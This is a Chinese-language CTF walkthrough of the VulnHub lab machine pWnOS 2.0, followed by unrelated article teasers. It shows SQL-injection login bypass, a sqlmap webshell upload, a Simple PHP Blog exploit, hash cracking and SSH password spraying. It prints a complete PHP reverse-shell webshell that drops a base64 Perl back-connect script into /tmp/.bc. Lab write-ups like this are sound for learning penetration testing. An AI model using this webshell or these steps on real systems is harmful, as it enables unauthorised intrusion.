[VulnHub靶机渗透] pWnOS 2.0

news2024/12/27 0:24:25
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

一、前言

二、外围打点——信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

三、信息收集+渗透测试

1、web渗透测试

2、利用sqlmap上传木马,拿www-data权限

3、Simple PHP 框架漏洞利用,拿www-data权限

四、提权

1、常规提权操作+信息收集

3、crackmapexec密码碰撞

4、root权限


一、前言

靶机精讲之pWnOS 2.0,vulnhub靶机,简洁明快的攻击链,php+mysql架构cms渗透的样本。从利用选择、反弹shell获得,到信息搜集和枚举,以及mysql数据库的翻找,都可以算上php+mysql架构cms渗透的标准靶机,很多更复杂的渗透也是在此基础上的展开的,这台靶机是可以深入思考,形成思维框架的靶机。

需要注意的是,这个靶机我们下载下来,默认是个静态的IP:10.10.10.100,所以我们需要把我们的wmvare的虚拟网卡设置为10.10.10.0/24网段的地址。

你需要点击下面的更改设置,把网段设置为10.10.10.0/24网段的,因为我这里是NAT模式,所以该的是NAT模式的网段

改完之后,重启kali,就会发现我们的IP变成了10网段的了:

二、外围打点——信息收集

1、主机探测

通过利用arp进行主机探测,发现靶机的IP地址是10.10.10.100,其实我们开始也讲到了,这个靶机被打包下载的时候。默认IP就是10.10.10.100。

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2、端口扫描

可以看到这台靶机只开放了22、80端口, 22的话一般靶机后面肯定都是用来利用ssh远程连接的,那么我们就需要信息收集账号密码了,web的80端口毫无疑问是首选的渗透测试方向。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 10.10.10.100

因为扫描发现的端口有点少,我们这里再利用nmap扫描UDP端口开放的情况

扫描发现,UDP端口没有什么有价值的端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sU --min-rate 10000 10.10.10.100

3、漏洞扫描

通过利用nmap的漏洞扫描库,扫描到这个靶机的登录页面和注册页面存在csrf,以及扫描到了一些目录,我们到时候可以尝试访问下。

┌──(root💀kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 10.10.10.100

三、信息收集+渗透测试

1、web渗透测试

直接访问这个IP的80端口 ,是个静态的html页面,右边有注册和登录的页面,

看到这种登录框,我们首先可以尝试下弱口令登录,然后再尝试下是否存在sql注入,

我这里尝试输入单引号',然后发现页面报错,那么存在sql注入

然后我们再利用sql注入的万能密码尝试登录,发现成功登录进去了,但是里面内容没有任何回显,一直就是显示正在登录中,这个情况也很有可能是后台存在防火墙之类的防护设备,但是没关系,至少我们知道了这里存在sql注入漏洞。

admin'or'1'=1#

2、利用sqlmap上传木马,拿www-data权限

这里给大家提供一个很好用并且很稳定的反弹shell木马文件:

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "10.10.10.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

我们只需要修改下面两个参数就可以了,一个是监听的IP地址,还有一个就是监听的端口。

然后我们这里就可以利用sqlmap上传木马到靶机的指定目录位置,然后kali监听,浏览器访问木马所在的位置,点击木马,就可以拿到shell了。

我们先利用dirsearch扫描目录,看看有哪些目录上传点,比如:(/var/www,/var/www/includes,/var/www/blogs/images)

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100

我这里选择/includes目录下,木马上传到指定目录/var/www/includes/下了。

┌──(root💀kali)-[~/桌面]
└─# sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --file-write='webshell.php' --file-dest='/var/www/includes/webshell.php'

kali先监听,然后浏览器点击上传的木马,就可以看到反弹设立了成功了。

┌──(root💀kali)-[~/桌面]
└─# nc -lvvp 4444

3、Simple PHP 框架漏洞利用,拿www-data权限

我们前面进行的目录扫描以及漏洞扫描,都发现/blog目录,我们访问看下

我们可以看到,这个页面看着很老,就像是以前的老版本的某个CMS框架搭建的,所以我们可以利用whatweb或者其他工具进行查看下它是哪个cms框架搭建的。

我们可以看到存在Simple PHP Blog 0.4.0框架,你要是问我怎么就知道这个漏洞,其实不是说一眼知道的,比如我们在现实中进行渗透测试也是一样,信息收集过程中,碰到不会的信息,我们收集起来问chatgpt,然后上网检索,这里面的很多关键词我都上网查找了,当我检索Simple PHP Blog 0.4.0的时候,发现exp存在这个漏洞。

┌──(root💀kali)-[~/桌面]
└─# whatweb http://10.10.10.100/blog/

我们这里直接利用kali的searchsploit命令检索,然后再看看使用哪个exp进行渗透测试;

我们可以看到有两个,第一个是创建账户密码,第二个是利用这个exp可以执行cmd命令,我这里选择第一个,直接创建账户密码,然后登录后台,再进行下一步的渗透测试工作。

下载这个exp,然后看看这个exp的使用方法,要是看不懂的师傅,可以利用chatgpt或者上网查,都是可以查找到的!!!

┌──(root💀kali)-[~/桌面]
└─# searchsploit -m 1191.pl

这里就是这个exp的使用方式了,我们可以看到-e选择3,是可以创建用户密码的,那么我们就用这个命令执行exp。

插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。

apt install libswitch-perl

可以看到我们这里已经成功创建了用户名和密码了

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U routing -P 1234

我们成功登录进来了,并且我们发现这里有一个文件上传的功能点,我们尝试上传我们开始的webshell.php木马上去。

上传成功了,这个网站确实是老旧啊,一点过滤都没有.php木马直接就上传上去了,

木马上传成功了,那么我们目前就肯定得找到这个木马上传的位置,我们扫描看看这个目录下有哪些子目录之类的,扫描完毕,那就是挨个试目录了,后来发现木马上传到/blog/images/目录下

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100/blog/ -x 403

可以看到,我们的kali已经接收到了木马的反弹shell了。

python -c 'import pty;pty.spawn ("/bin/bash")'   //交互式shell

四、提权

1、常规提权操作+信息收集

我们一般拿到交互式shell,首先查看下注册表是否有定时任务之类的,然后查看下哪些有SUID提权以及sudo 提权,但是这里都不行,那么我们就需要在文件目录里面进行信息收集,查找下是否有什么有价值的信息,特别是账号密码之类的。

我们在网站根目录找到了数据库的登录账号密码

但是尝试mysql登录,没有登录成功,这里不应该,我猜测应该是作者故意留的假的账号密码,但是这个存在mysql数据库的账号密码文件应该是真实存在的,但是这个应该是障眼法,所以我们直接检索下,这个文件。

发现/var/目录下还确实有mysqli_connect.php文件,我们cat查看下

找到了mysql数据库的账号密码,我们再进行尝试登录,发现登录成功了


www-data@web:/var/www$ find / -name Hmysqli_connect.php 2>/dev/null
find / -name mysqli_connect.php 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php

查找mysql数据库里面的信息,发现账号密码,不过这里密码进行了加密,我们利用kali的hash嗅探工具进行检查下,看看是什么加密。

发现是SHA-1加密的,我们找个在线解密工具

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "c2c4b4e51d9e23c02c15702c136c3e950ba9a4af"

这个在线解密工具师傅们可以收藏下,这个网站有好多类型的解密,而且这个网站的库还很大,一般都可以解密出来。

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free onlineDecrypt and crack your MD5, SHA1, SHA256, MySQL, MD5 Email, SHA256 Email, and NTLM hashes for free online. We also support Bcrypt, SHA512, Wordpress and many more.icon-default.png?t=N7T8https://hashes.com/en/decrypt/hash

利用解密出来的两个账号密码进行ssh远程登录,发现都没有用,那么我们就需要收集更加多的账号密码进行密码碰撞。

3、crackmapexec密码碰撞

直接看下/etc/passwd下有哪几个用户更root用户的权限一样的,直接加入到user爆破字典中。

经过收集,我们的用户和密码的字典如下:

我们可以看到,这个 root:root@ISIntS账号密码不就是我们开始登录MySQL数据库的嘛,这其实也是我们现实中做渗透测试中常见的,就是很多地方,作者自己会把好几个账号密码都设置成一个。

┌──(root💀kali)-[~/桌面]
└─# crackmapexec ssh 10.10.10.100 -u user.txt -p passwd.txt --continue-on-success

4、root权限

恭喜我们成功拿到了root权限,这台靶机也就成功拿下了!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1571095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TiDB 实战分享丨第三方支付企业的核心数据库升级之路

本文介绍了一家第三方支付企业在面对市场竞争和监管压力的态势下&#xff0c;通过升级核心数据库来提升业务能力的实践。该企业选择 TiDB 分布式数据库&#xff0c;成功将其应用于核心业务、计费、清结算和交易查询等关键系统。TiDB 的水平扩展能力、高可用性和简化数据栈等优势…

交叉验证(Cross-Validation)

交叉验证的基本概念 交叉验证通常用于评估机器学习模型在未知数据上的性能。它将数据集分成k个不同的子集&#xff0c;然后进行k次训练和验证。在每次迭代中&#xff0c;选择一个子集作为测试集&#xff0c;其余的子集作为训练集。这样&#xff0c;每个子集都用作过测试集&…

二、计算机网络体系结构参考模型

一、分层结构 &#xff08;一&#xff09;为什么要分层&#xff1a; 发送文件/数据前要完成的工作&#xff1a; 1&#xff09;发起通信的计算机必须讲数据通信通路进行激活 2&#xff09;要告诉网络如何识别目的主机 3&#xff09;发起通信的计算机要查明目的主机是否开机、并且…

实时渲染 -- 体素化(Voxelization)

我们之前讨论的大部分问题都是关于面表示的。由于这些方法不需要显式地表示物体的内部空间&#xff0c;所以非常高效。 体建模方法表示的是实体而不是表面。使用体模型可以产生更丰富的仿真效果&#xff0c;如物体的运动学行为和半透明光照效果。 一、有限元模型 有限元模型…

升级一下电脑,CPU换I5-14600K,主板换华硕B760M

刚给自己电脑升级了一下&#xff0c;CPU从 AMD R5 5600X 换成 Intel I5-14600K&#xff0c;主板换成了华硕的 TUF GAMING B760M-PLUS WIFI D4。 因为我现有的两根内存是DDR4的&#xff0c;所有我选了个支持DDR4内存的主板。 我发现用AMD处理器时将系统从Win10升级到Win11后变…

关于Linux系统中使用Kazam录制的视频在Win系统中无法播放的问题解决办法

今天在linux系统【ubuntu】中录制了一段视频&#xff0c;想要在win系统中进行剪辑&#xff0c;但是发现无法打开&#xff0c;使用的是Kazam录制的mp4格式视频。 Kazam录制安装与使用方式&#xff1a; 安装方式——linux终端输入&#xff1a; sudo apt-get install kazam使用…

04---webpack编写可维护的构建配置

01 构建配置抽离成npm包&#xff1b; 意义&#xff1a;通用性&#xff1a; 业务开发者无需关注构建配置 统一团队构建脚本可维护性&#xff1a;构建配置合理的拆分 质量&#xff1a;冒烟测试 单元测试 持续集成构建配置管理的可选方案&#xff1a;1 通过多个配置文件管理不同…

Android模拟器Android Emulator进行快照snapshot保存时问题

在用Android Emulator进行快照保存时出现问题&#xff0c;不能保存快照&#xff0c;并提示 current state is not support snapshot。 在网上查找了一圈&#xff0c;发现没有针对这个问题的方案&#xff0c;比较接近的方案都是eclipse年代的&#xff0c;说要进行enable snaps…

刷题之Leetcode27题(超级详细)

27. 移除元素 力扣题目链接(opens new window)https://leetcode.cn/problems/remove-element/ 给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须仅使用…

可以写网易云的了!

你好&#xff0c;我是云桃桃。 一个希望帮助更多朋友快速入门 WEB 前端的程序媛。 1枚程序媛&#xff0c;大专生&#xff0c;2年时间从1800到月入过万&#xff0c;工作5年买房。 分享成长心得。 259篇原创内容-gzh 后台回复“前端工具”可获取开发工具&#xff0c;持续更新中…

苍穹外卖Day04套餐管理部分总结

写给像我一样完完全全的小白的。本人代码水平一塌糊涂&#xff0c;前几天就是机械地跟着视频敲代码。对于Day04的作业本来感觉代码抓瞎一点不会写&#xff0c;尽力去理解业务逻辑后发现好像也没那么难&#xff0c;整体代码可以仿照Day03新增菜品来进行实现&#xff01; 一、功…

scratch寻找好朋友 2024年3月中国电子学会 图形化编程 scratch编程等级考试二级真题和答案解析

目录 scratch寻找好朋友 一、题目要求 1、准备工作 2、功能实现 二、案例分析 1、角色分析 2、背景分析 3、前期准备 三、解题思路 1、思路分析 2、详细过程 四、程序编写 五、考点分析 六、推荐资料 1、入门基础 2、蓝桥杯比赛 3、考级资料 4、视频课程 5、…

如何在Linux中安装软件

文章目录 一、Linux应用程序基础1.Linux软件安装包分类2.应用程序和系统命令的关系3.常见的软件包的封装类型 二、安装软件的方式1.RPM包管理工具2.yum安装3.编译 一、Linux应用程序基础 1.Linux软件安装包分类 Linux源码包&#xff1a; 实际上&#xff0c;源码包就是一大堆源…

Spring/SpringBoot/SpringCloud Mybatis 执行流程

在后续分析Mybatis 流程中代码的可能会用到IDEA debug 技巧&#xff1a; 条件断点 代码断点&#xff0c;右键 勾选弹窗 Condition &#xff1a; 写入表达式 回到上一步&#xff1a; Java动态代理实现 InvocationHandler接口&#xff1a; package com.lvyuanj.core.test;…

MAX7219驱动数码管学习记录(有源码)

一、7219datasheet阅读 1.引脚定义&#xff1a; 重点介绍5个引脚 1.DIN&#xff1a; 串行数据总线输入引脚&#xff0c;每个时钟的上升沿将数据移入至芯片内部的移位寄存器中 2.DIG0-DIG7: 共阴极管的GND连接的便是DIG0-7,该引脚起作用时&#xff0c;便输出低电平&#xff0c…

SSM学习——Spring JDBC

Spring JDBC 概念 Spring的JDBC模块负责数据库资源管理和错误处理&#xff0c;简化了开发人员对数据库的操作。 Spring JDBC通过配置数据源和JDBC模板来配置。 针对数据库操作&#xff0c;Spring框架提供了JdbcTemplate类&#xff0c;它是Spring框架数据抽象层的基础&#…

【学习】渗透测试有哪些重要性

随着信息技术的迅猛发展&#xff0c;网络安全问题日益凸显。渗透测试作为网络安全防御的重要手段之一&#xff0c;旨在模拟黑客攻击&#xff0c;发现并修复潜在的安全漏洞&#xff0c;提高网络系统的安全性。本文将介绍渗透测试的概念、重要性、实施步骤及实践案例&#xff0c;…

echarts快速入门

文章目录 一、echarts下载1.1、下载说明1.2、使用说明 二、绘制一个简单图表 一、echarts下载 echarts是百度研发团队开发的一款报表视图JS插件&#xff0c;功能十分强大&#xff0c;可在echart官网下载源码&#xff08;一个echarts.min.js文件&#xff09;进行使用。 1.1、…

Star GAN论文解析

论文地址&#xff1a;https://arxiv.org/pdf/1912.01865v1.pdf https://openaccess.thecvf.com/content_cvpr_2018/papers/Choi_StarGAN_Unified_Generative_CVPR_2018_paper.pdf 源码&#xff1a;stargan项目实战及源码解读-CSDN博客 1. 概述 在传统方法中&#x…

R语言技能 | 不同数据类型的转换

原文链接&#xff1a;R语言技能 | 不同数据类型的转换 本期教程 写在前面 今天是4月份的第一天&#xff0c;再过2天后再一次迎来清明小假期。木鸡大家是否正常放假呢&#xff1f; 我们在使用R语言做数据分析时&#xff0c;会一直对数据进行不同类型的转换&#xff0c;有时候…